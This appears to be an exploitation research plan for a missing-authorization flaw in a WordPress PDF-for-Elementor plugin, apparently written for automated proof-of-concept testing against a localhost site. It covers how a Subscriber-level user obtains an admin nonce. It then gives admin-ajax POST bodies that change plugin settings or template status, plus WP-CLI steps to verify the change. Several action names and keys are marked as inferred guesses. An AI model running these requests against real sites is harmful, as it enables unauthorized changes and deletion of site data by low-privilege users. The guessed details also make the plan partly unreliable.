Exploitation Research Plan: CVE-2026-22350 (Missing Authorization)

1. Vulnerability Summary

The PDF for Elementor Forms + Drag And Drop Template Builder plugin (versions <= 6.3.1) contains a missing authorization vulnerability. Specifically, several AJAX handlers registered via wp_ajax_ fail to perform adequate capability checks (e.g., current_user_can( 'manage_options' )). This allows an authenticated attacker with Subscriber-level privileges to execute administrative actions, such as modifying plugin settings or template configurations.

The vulnerability resides in the way the plugin handles administrative AJAX requests, typically located in the inc/admin/class-pfe-admin.php or includes/class-pfe-admin.php files, where hooks are registered without corresponding permission validation in the callback functions.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action: pfe_save_settings (inferred) or pfe_update_template_status (inferred).
• Payload Parameter: pfe_settings_data or template_id + status.
• Authentication: Authenticated, Subscriber-level access or higher.
• Preconditions: The attacker must be logged in as a Subscriber and have access to the admin-ajax.php endpoint. A valid WordPress nonce for the specific action is likely required, though authorization is missing.

3. Code Flow

1. Registration: The plugin registers AJAX actions in the admin class constructor:
   add_action( 'wp_ajax_pfe_save_settings', [ $this, 'pfe_save_settings_callback' ] );
2. Entry Point: An authenticated user sends a POST request to admin-ajax.php with action=pfe_save_settings.
3. Missing Check: The function pfe_save_settings_callback() is invoked. It may check for a nonce using check_ajax_referer() but fails to check current_user_can('manage_options').
4. Sink: The function proceeds to update plugin options or post meta:
   update_option( 'pfe_settings', $_POST['pfe_settings_data'] );
5. Execution: The settings are modified globally for the site.

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for its admin interface. Even though a Subscriber cannot access the plugin's settings page, the script might be enqueued on all admin pages (including the Dashboard or Profile page which Subscribers can access).

1. Identify Localized Script: Look for wp_localize_script in the plugin code (likely handle pfe-admin-js or pfe-admin).
2. Create Trigger Content: If the script is only loaded on specific pages (like a page with a specific shortcode), create that page:
   wp post create --post_type=page --post_status=publish --post_content='[pfe_template]' (inferred shortcode).
3. Navigate & Extract:
   • Navigate to the WordPress Dashboard (/wp-admin/) or the created page.
   • Use browser_eval to extract the nonce:
     browser_eval("window.pfe_admin_params?.pfe_nonce || window.pfe_ajax_object?.nonce") (inferred object/key).
4. Verify Action: Check if the nonce is bound to the correct action string (e.g., pfe_ajax_nonce).

5. Exploitation Strategy

We will attempt to modify the plugin's global settings to demonstrate unauthorized data modification.

Step 1: Setup

• Log in as a Subscriber.
• Locate a valid nonce using the strategy in Section 4.

Step 2: Execute Exploit (Modify Settings)
Submit an unauthorized request to change a plugin setting (e.g., changing the default PDF template or paper size).

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=pfe_save_settings&
  _wpnonce=[EXTRACTED_NONCE]&
  pfe_settings_data[paper_size]=A3&
  pfe_settings_data[orientation]=landscape
  

Step 3: Alternative Exploit (Modify Template Status)
If settings are not accessible, target a template status modification.

• Body:

  action=pfe_update_template_status&
  _wpnonce=[EXTRACTED_NONCE]&
  template_id=[TARGET_ID]&
  status=inactive
  

6. Test Data Setup

1. Admin User: Create an admin user to set up the plugin.
2. Subscriber User: Create a user with the subscriber role:
   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
3. Initial State: Ensure the plugin is active and a PDF template exists:
   wp post create --post_type=pfe_template --post_title="Test Template" --post_status=publish
4. Baseline Check: Record the current value of the setting pfe_settings.

7. Expected Results

• The admin-ajax.php response should return a success code (e.g., {"success":true} or 1).
• The HTTP response status should be 200 OK.
• The plugin settings or template metadata should be modified in the database despite the request coming from a Subscriber.

8. Verification Steps

After performing the HTTP request, use WP-CLI to verify the change:

1. Check Settings:
   wp option get pfe_settings
   Confirm the paper_size is now A3.
2. Check Template Meta (if targeted):
   wp post meta get [ID] _pfe_status
   Confirm the status has changed.

9. Alternative Approaches

If pfe_save_settings is not the vulnerable action, search for other AJAX callbacks in inc/admin/ or includes/:

• pfe_duplicate_template: Allows a Subscriber to spam the database with duplicate posts.
• pfe_delete_template: Allows a Subscriber to delete PDF templates.
• pfe_save_template_data: Allows modification of the PDF layout/content.

If the nonce is strictly protected by is_admin() or specific capability checks during localization, check if the plugin exposes the nonce on the frontend via a shortcode intended for users to "Download PDF". If so, the action string used there might be reused in a vulnerable admin function.